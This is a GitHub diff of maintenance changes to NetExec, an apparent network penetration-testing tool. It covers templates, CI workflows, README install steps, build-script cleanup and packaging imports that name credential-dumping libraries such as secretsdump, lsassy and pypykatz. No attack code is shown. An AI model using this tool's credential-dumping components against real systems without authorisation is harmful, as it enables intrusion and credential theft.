7edc28359c | ||
|
|
bfd32f1910 | ||
|
|
4045bebd77 | ||
|
|
2d20b220ce | ||
|
|
0b7756f3f6 | ||
|
|
7940fb6fe4 | ||
|
|
d080a96a88 | ||
|
|
4f5a89262c | ||
|
|
b24b9210e4 | ||
|
|
adc59ffaaa | ||
|
|
66e6c95f0d | ||
|
|
ba5db57ac9 | ||
|
|
ba9a961916 | ||
|
|
f6fed70894 | ||
|
|
2cf6c8c248 | ||
|
|
007d09a390 | ||
|
|
d638b17c44 | ||
|
|
25e4248ccb | ||
|
|
b01384d1ec | ||
|
|
8c51b3722a | ||
|
|
9052470a5b | ||
|
|
335e6c9755 | ||
|
|
b002336680 | ||
|
|
f812ea1b4a | ||
|
|
2b50e9b86b | ||
|
|
c9112b1c13 | ||
|
|
52a1a7a230 | ||
|
|
76ac0f7f2b | ||
|
|
a295db84dd | ||
|
|
f61d068cd2 | ||
|
|
35333504ea | ||
|
|
6c48020544 | ||
|
|
4eb2c08d73 | ||
|
|
4a09852aa2 | ||
|
|
6e39bdd96a | ||
|
|
95dd61b2ea | ||
|
|
33d2dc2785 | ||
|
|
54bddb50fa | ||
|
|
bbc661ba38 | ||
|
|
f573f7f2aa | ||
|
|
5cf9f34e1a | ||
|
|
b7da5aa597 | ||
|
|
dd55907929 | ||
|
|
dd18ef1752 | ||
|
|
b7d6a987c9 | ||
|
|
ac8067bc77 | ||
|
|
ea8cdcceef | ||
|
|
784c42b674 | ||
|
|
50f2e5d1c1 | ||
|
|
47a158fdc2 | ||
|
|
2e0a73c225 | ||
|
|
bab6377101 | ||
|
|
9a4594ea40 | ||
|
|
6f8143136c | ||
|
|
2915a54811 | ||
|
|
0d5030be81 | ||
|
|
cdced86af4 | ||
|
|
cbefc31a04 | ||
|
|
e898c25716 | ||
|
|
314b7f6a81 | ||
|
|
444845c7e2 | ||
|
|
653cec7993 | ||
|
|
2ef51d642a | ||
|
|
3384e9a28f | ||
|
|
ae417e5d3a | ||
|
|
669e0b45e7 | ||
|
|
b2c73b05d1 | ||
|
|
84a41b72a2 | ||
|
|
95ccfca992 | ||
|
|
ea62e42526 | ||
|
|
c9af18df67 | ||
|
|
cec042d8ee | ||
|
|
78de09be8d | ||
|
|
d21bf5e463 | ||
|
|
4b62a53790 | ||
|
|
85d052e7e4 | ||
|
|
c2f4c5d9d3 | ||
|
|
389b381584 | ||
|
|
b38ad265af | ||
|
|
95aaac7f68 | ||
|
|
165fa508ed | ||
|
|
84358bb480 | ||
|
|
f66923b296 | ||
|
|
4ec4672b87 | ||
|
|
e24601b345 | ||
|
|
7620112657 | ||
|
|
6a0646067c | ||
|
|
386208a49c | ||
|
|
11ddfd9c79 | ||
|
|
9ae9d01e5a | ||
|
|
2cae1dcaa7 | ||
|
|
2805dc6a70 | ||
|
|
2dd8ea9ef0 | ||
|
|
51c8ee3f2f | ||
|
|
7deee30942 | ||
|
|
a956d2cae8 | ||
|
|
e9a7fda619 | ||
|
|
e84a52c859 | ||
|
|
3655cbff82 | ||
|
|
9598e971da | ||
|
|
5f0ed02364 | ||
|
|
84b1e41eb7 | ||
|
|
6580604246 | ||
|
|
f402c4546a | ||
|
|
cfbdcb3cb0 | ||
|
|
7e7e86725c | ||
|
|
63a761c760 | ||
|
|
ddc5c2ea7b | ||
|
|
064921b9ee | ||
|
|
9ec7cd6fa1 | ||
|
|
6c68100c8a | ||
|
|
28e25c560b | ||
|
|
0ca3827d91 | ||
|
|
10b3cdd115 | ||
|
|
3ab397f45a | ||
|
|
1b97cebac3 | ||
|
|
5ec969c733 | ||
|
|
110e6473d3 | ||
|
|
a8b14cee7f | ||
|
|
e80c4807a6 | ||
|
|
f6812f2eb4 | ||
|
|
8ec3e62bfb | ||
|
|
ffb9dd3f91 | ||
|
|
45fdc26847 | ||
|
|
a1c0080d82 | ||
|
|
345a0748b3 | ||
|
|
182c7a5a01 | ||
|
|
f1f34b3c72 | ||
|
|
01c530391f | ||
|
|
5ab24c1f47 | ||
|
|
f4d5a5668b | ||
|
|
a2dc03773d | ||
|
|
7f5a6f4f50 | ||
|
|
b0b36ede87 | ||
|
|
39cdcc12bb | ||
|
|
193ef25748 | ||
|
|
0523208c4e | ||
|
|
81c9803ada | ||
|
|
e40d4f2a3d | ||
|
|
d81adbb28a | ||
|
|
deb3c89efa | ||
|
|
d971e0d5ab | ||
|
|
052cbe28ba | ||
|
|
5e80ebd8dc | ||
|
|
429a6a4e18 | ||
|
|
16cfaec75d | ||
|
|
cba97cd068 | ||
|
|
116c8f7833 | ||
|
|
dec35a526b | ||
|
|
9a74343497 | ||
|
|
73fe842064 | ||
|
|
1148018394 | ||
|
|
bcbfad6a18 | ||
|
|
f2d0178529 | ||
|
|
e033d22b5d | ||
|
|
a44e498470 | ||
|
|
708f82a04b | ||
|
|
a2584471c9 | ||
|
|
fe91e7535e | ||
|
|
d217840dbf | ||
|
|
5207288b13 | ||
|
|
4c419b5e08 | ||
|
|
d54b82e388 | ||
|
|
efb510d49b | ||
|
|
a306cfaf5c | ||
|
|
9cbd847fd6 | ||
|
|
14be9d5b0e | ||
|
|
443c363129 | ||
|
|
c445d381c5 | ||
|
|
69514ce356 | ||
|
|
7b44fcd327 | ||
|
|
d7d30cb2e8 | ||
|
|
0dc6d61d1a | ||
|
|
e3dfbb3f15 | ||
|
|
bda8ecb129 | ||
|
|
efbecca7a7 | ||
|
|
dae229a378 | ||
|
|
bbf1024b37 | ||
|
|
d12c139c9e | ||
|
|
f554223d75 | ||
|
|
3f1d0f4f91 | ||
|
|
a730ed0f22 | ||
|
|
a460565cd8 | ||
|
|
5b6153c2a8 | ||
|
|
63ac5c7e77 | ||
|
|
89968b3d54 | ||
|
|
7f4ab239f5 | ||
|
|
85ed0794ee | ||
|
|
b33ccfb1c8 | ||
|
|
da2ec9b274 | ||
|
|
b38e71d8fa | ||
|
|
2a5c01d6b6 | ||
|
|
76bf3be084 | ||
|
|
9ecb07c9e8 | ||
|
|
4d8441edfd | ||
|
|
24bdf8fbb8 | ||
|
|
155547c889 | ||
|
|
017c26bd3b | ||
|
|
9eb4487369 | ||
|
|
d0ecd4b889 | ||
|
|
1c7df154b8 | ||
|
|
f5439cb43f | ||
|
|
fb0d153210 | ||
|
|
ee1e7b0d52 | ||
|
|
bdf0fe27e8 | ||
|
|
b788f09af8 | ||
|
|
1e381fb62d | ||
|
|
85335213da | ||
|
|
f9489dcb7e | ||
|
|
43ce9cbd20 | ||
|
|
bfe875d37c | ||
|
|
1ef24853a4 | ||
|
|
a1af9e31d8 | ||
|
|
7e366385f6 | ||
|
|
414b1f36b8 | ||
|
|
ba10268a50 | ||
|
|
d57f3af7b1 | ||
|
|
32f3c262f6 | ||
|
|
dd33a93d64 | ||
|
|
7380ba7dd2 | ||
|
|
8c7ed6725d | ||
|
|
29dfcb4f70 | ||
|
|
b75b1dc218 | ||
|
|
97b7ee22d0 | ||
|
|
40e770f066 | ||
|
|
b5599b9d31 | ||
|
|
ad295ea7ac |
No files matched your search
+1
-1
@@ -3,4 +3,4 @@
|
||||
##########################################
|
||||
|
||||
# default ownership:
|
||||
* @zblurx @Marshall-Hallenbeck @NeffIsBack
|
||||
* @zblurx @Marshall-Hallenbeck @NeffIsBack @mpgn
|
||||
@@ -30,7 +30,7 @@ If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**NetExec info**
|
||||
- OS: [e.g. Kali]
|
||||
- Version of nxc [e.g. v1.5.2]
|
||||
- Version of nxc: [e.g. v1.5.2]
|
||||
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
|
||||
|
||||
**Additional context**
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Request a new feature or enhancement
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
**Please Describe The Problem To Be Solved**
|
||||
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
|
||||
|
||||
**(Optional): Suggest A Solution**
|
||||
(Replace This Text: A concise description of your preferred solution. Things to address include:
|
||||
* Details of the technical implementation
|
||||
* Tradeoffs made in design decisions
|
||||
* Caveats and considerations for the future
|
||||
|
||||
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
|
||||
@@ -0,0 +1,44 @@
|
||||
---
|
||||
name: Pull request
|
||||
about: Update code to fix a bug or add an enhancement/feature
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
## Description
|
||||
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
Please also include relevant motivation and context.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
## Type of change
|
||||
Please delete options that are not relevant.
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
|
||||
- [ ] This change requires a documentation update
|
||||
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
|
||||
|
||||
## How Has This Been Tested?
|
||||
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
|
||||
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
|
||||
|
||||
If you are using poetry, you can easily run tests via:
|
||||
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
|
||||
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
|
||||
|
||||
## Screenshots (if appropriate):
|
||||
Screenshots are always nice to have and can give a visual representation of the change.
|
||||
If appropriate include before and after screenshot(s) to show which results are to be expected.
|
||||
|
||||
## Checklist:
|
||||
|
||||
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
|
||||
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
|
||||
- [ ] New and existing e2e tests pass locally with my changes
|
||||
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
|
||||
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] I have performed a self-review of my own code
|
||||
- [ ] I have commented my code, particularly in hard-to-understand areas
|
||||
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
|
||||
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,30 @@
|
||||
name: Lint Python code with ruff
|
||||
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
|
||||
|
||||
on:
|
||||
push:
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
runs-on: ubuntu-latest
|
||||
if:
|
||||
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: 3.11
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Run ruff
|
||||
run: |
|
||||
poetry run ruff --version
|
||||
poetry run ruff check . --preview
|
||||
@@ -1,32 +0,0 @@
|
||||
name: NetExec Tests
|
||||
|
||||
on:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: NetExec Tests for Py${{ matrix.python-version }}
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
max-parallel: 4
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: NetExec tests on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Run the e2e test
|
||||
run: |
|
||||
poetry run pytest tests
|
||||
@@ -0,0 +1,51 @@
|
||||
name: NetExec Tests
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Test for Py${{ matrix.python-version }}
|
||||
if: github.event.review.state == 'APPROVED'
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install with pipx
|
||||
run: |
|
||||
pipx install . --python python${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Load every protocol and module
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1
|
||||
poetry run netexec vnc 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1
|
||||
poetry run netexec ldap 127.0.0.1
|
||||
poetry run netexec wmi 127.0.0.1
|
||||
poetry run netexec rdp 127.0.0.1
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -M veeam
|
||||
+2
-3
@@ -1,8 +1,10 @@
|
||||
data/nxc.db
|
||||
hash_spider_default.sqlite3
|
||||
hash_spider_testing.sqlite3
|
||||
*.bak
|
||||
*.log
|
||||
.venv
|
||||
pyvenv.cfg
|
||||
.vscode
|
||||
.idea
|
||||
# Byte-compiled / optimized / DLL files
|
||||
@@ -57,9 +59,6 @@ coverage.xml
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
|
||||
Whitespace-only changes.
@@ -1,5 +1,5 @@
|
||||
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx
|
||||
Copyright (c) 2022, byt3bl33d3r, mpgn_x64
|
||||
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
|
||||
Copyright (c) 2022, byt3bl33d3r
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||

|
||||

|
||||
[](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
|
||||
[](https://twitter.com/intent/follow?screen_name=_zblurx)
|
||||
[](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
|
||||
[](https://twitter.com/intent/follow?screen_name=mpgn_x64)
|
||||
|
||||
|
||||
🚩 This is the open source repository of NetExec maintained by a community of passionate people
|
||||
@@ -9,7 +10,7 @@
|
||||
|
||||
This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
|
||||
|
||||
Along with many other contributers, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bugfixes, and helped maintain the original project CrackMapExec.
|
||||
Along with many other contributors, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bug fixes, and helped maintain the original project CrackMapExec.
|
||||
During this time, with both a private and public repository, community contributions were not easily merged into the project. The 6-8 month discrepancy between the code bases caused many development issues and heavily reduced community-driven development.
|
||||
With the end of mpgn's maintainer role, we (the remaining most active contributors) decided to maintain the project together as a fully free and open source project under the new name **NetExec** 🚀
|
||||
Going forward, our intent is to maintain a community-driven and maintained project with regular updates for everyone to use.
|
||||
@@ -20,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
|
||||
|
||||
You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
|
||||
|
||||
- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues)
|
||||
- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues)
|
||||
- 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
|
||||
- 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
|
||||
|
||||
@@ -36,6 +37,12 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
|
||||
# Installation
|
||||
Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
|
||||
|
||||
## Linux
|
||||
```
|
||||
sudo apt install pipx git
|
||||
pipx ensurepath
|
||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||
```
|
||||
# Development
|
||||
Development guidelines and recommendations in development
|
||||
|
||||
@@ -50,3 +57,4 @@ Awesome code contributors of NetExec:
|
||||
[](https://github.com/zblurx)
|
||||
[](https://github.com/NeffIsBack)
|
||||
[](https://github.com/Hackndo)
|
||||
[](https://github.com/XiaoliChan)
|
||||
+6
-11
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
@@ -11,27 +8,26 @@ from pathlib import Path
|
||||
|
||||
from shiv.bootstrap import Environment
|
||||
|
||||
# from distutils.ccompiler import new_compiler
|
||||
from shiv.builder import create_archive
|
||||
from shiv.cli import __version__ as VERSION
|
||||
|
||||
|
||||
def build_nxc():
|
||||
print("building nxc")
|
||||
print("Building nxc")
|
||||
try:
|
||||
shutil.rmtree("bin")
|
||||
shutil.rmtree("build")
|
||||
except Exception as e:
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
except Exception as e:
|
||||
print(f"Exception while removing bin & build: {e}")
|
||||
|
||||
try:
|
||||
print("remove useless files")
|
||||
os.mkdir("build")
|
||||
os.mkdir("bin")
|
||||
shutil.copytree("nxc", "build/nxc")
|
||||
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print(f"Exception while creating bin and build directories: {e}")
|
||||
return
|
||||
|
||||
subprocess.run(
|
||||
@@ -48,7 +44,6 @@ def build_nxc():
|
||||
check=True,
|
||||
)
|
||||
|
||||
# [shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
|
||||
[shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
|
||||
|
||||
env = Environment(
|
||||
@@ -93,7 +88,7 @@ if __name__ == "__main__":
|
||||
try:
|
||||
build_nxc()
|
||||
build_nxcdb()
|
||||
except:
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
finally:
|
||||
shutil.rmtree("build")
|
||||
Generated
-92
@@ -1,92 +0,0 @@
|
||||
{
|
||||
"nodes": {
|
||||
"flake-utils": {
|
||||
"locked": {
|
||||
"lastModified": 1649676176,
|
||||
"narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"flake-utils_2": {
|
||||
"locked": {
|
||||
"lastModified": 1649676176,
|
||||
"narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs": {
|
||||
"locked": {
|
||||
"lastModified": 1651248272,
|
||||
"narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "8758d58df0798db2b29484739ca7303220a739d3",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs_2": {
|
||||
"locked": {
|
||||
"lastModified": 1651248272,
|
||||
"narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "8758d58df0798db2b29484739ca7303220a739d3",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"poetry2nix": {
|
||||
"inputs": {
|
||||
"flake-utils": "flake-utils_2",
|
||||
"nixpkgs": "nixpkgs_2"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1651165059,
|
||||
"narHash": "sha256-/psJg8NsEa00bVVsXiRUM8yL/qfu05zPZ+jJzm7hRTo=",
|
||||
"owner": "nix-community",
|
||||
"repo": "poetry2nix",
|
||||
"rev": "ece2a41612347a4fe537d8c0a25fe5d8254835bd",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "nix-community",
|
||||
"repo": "poetry2nix",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"root": {
|
||||
"inputs": {
|
||||
"flake-utils": "flake-utils",
|
||||
"nixpkgs": "nixpkgs",
|
||||
"poetry2nix": "poetry2nix"
|
||||
}
|
||||
}
|
||||
},
|
||||
"root": "root",
|
||||
"version": 7
|
||||
}
|
||||
@@ -1,36 +0,0 @@
|
||||
{
|
||||
description = "Application packaged using poetry2nix";
|
||||
|
||||
inputs.flake-utils.url = "github:numtide/flake-utils";
|
||||
inputs.nixpkgs.url = "github:NixOS/nixpkgs";
|
||||
inputs.poetry2nix.url = "github:nix-community/poetry2nix";
|
||||
|
||||
outputs = { self, nixpkgs, flake-utils, poetry2nix }:
|
||||
{
|
||||
# Nixpkgs overlay providing the application
|
||||
overlay = nixpkgs.lib.composeManyExtensions [
|
||||
poetry2nix.overlay
|
||||
(final: prev: {
|
||||
# The application
|
||||
NetExec = prev.poetry2nix.mkPoetryApplication {
|
||||
projectDir = ./.;
|
||||
};
|
||||
})
|
||||
];
|
||||
} // (flake-utils.lib.eachDefaultSystem (system:
|
||||
let
|
||||
pkgs = import nixpkgs {
|
||||
inherit system;
|
||||
overlays = [ self.overlay ];
|
||||
};
|
||||
in
|
||||
{
|
||||
apps = {
|
||||
NetExec = pkgs.NetExec;
|
||||
};
|
||||
|
||||
defaultApp = pkgs.NetExec;
|
||||
|
||||
packages = { NetExec = pkgs.NetExec; };
|
||||
}));
|
||||
}
|
||||
@@ -13,6 +13,12 @@ a = Analysis(
|
||||
('./nxc/modules', 'nxc/modules')
|
||||
],
|
||||
hiddenimports=[
|
||||
'aardwolf',
|
||||
'aardwolf.connection',
|
||||
'aardwolf.commons.queuedata.constants',
|
||||
'aardwolf.commons.iosettings',
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'impacket.examples.secretsdump',
|
||||
'impacket.dcerpc.v5.lsat',
|
||||
'impacket.dcerpc.v5.transport',
|
||||
@@ -32,9 +38,11 @@ a = Analysis(
|
||||
'nxc.protocols.smb.smbspider',
|
||||
'nxc.protocols.smb.passpol',
|
||||
'nxc.protocols.mssql.mssqlexec',
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'paramiko',
|
||||
'pypsrp.client',
|
||||
'pywerview.cli.helpers',
|
||||
@@ -48,6 +56,7 @@ a = Analysis(
|
||||
'lsassy.parser',
|
||||
'lsassy.session',
|
||||
'lsassy.impacketfile',
|
||||
'bloodhound',
|
||||
'dns',
|
||||
'dns.name',
|
||||
'dns.resolver',
|
||||
@@ -58,12 +67,16 @@ a = Analysis(
|
||||
'dploot.triage.browser',
|
||||
'dploot.triage.credentials',
|
||||
'dploot.triage.masterkeys',
|
||||
'dploot.triage.mobaxterm',
|
||||
'dploot.triage.backupkey',
|
||||
'dploot.triage.wifi',
|
||||
'dploot.triage.sccm',
|
||||
'dploot.lib.target',
|
||||
'dploot.lib.smb',
|
||||
'pyasn1_modules.rfc5652',
|
||||
'unicrypto.backends.pycryptodomex',
|
||||
'dateutil.relativedelta',
|
||||
'sspilib.raw._text',
|
||||
],
|
||||
hookspath=['./nxc/.hooks'],
|
||||
runtime_hooks=[],
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from PyInstaller.utils.hooks import collect_all
|
||||
|
||||
datas, binaries, hiddenimports = collect_all("lsassy")
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from PyInstaller.utils.hooks import collect_all
|
||||
|
||||
datas, binaries, hiddenimports = collect_all("pypykatz")
|
||||
+107
-164
@@ -1,26 +1,61 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import argparse
|
||||
import argcomplete
|
||||
import sys
|
||||
from argparse import RawTextHelpFormatter
|
||||
from os import listdir
|
||||
from os.path import dirname
|
||||
from os.path import join as path_join
|
||||
import nxc
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.helpers.logger import highlight
|
||||
from termcolor import colored
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
from nxc.logger import nxc_logger, setup_debug_logging
|
||||
import importlib.metadata
|
||||
|
||||
|
||||
def gen_cli_args():
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
CODENAME = "A New Beginning"
|
||||
|
||||
parser = argparse.ArgumentParser(description=f"""
|
||||
_ _ _ _____
|
||||
| \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
| \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
| |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
|_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
setup_debug_logging()
|
||||
|
||||
try:
|
||||
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
|
||||
except ValueError:
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
CODENAME = "ItsAlwaysDNS"
|
||||
COMMIT = "kali"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
|
||||
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
|
||||
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
|
||||
|
||||
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
dns_group = dns_parser.add_argument_group("DNS")
|
||||
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
|
||||
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
|
||||
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
|
||||
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description=rf"""
|
||||
. .
|
||||
.| |. _ _ _ _____
|
||||
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
ॱ \ / ॱ
|
||||
ॱ ॱ
|
||||
|
||||
The network execution tool
|
||||
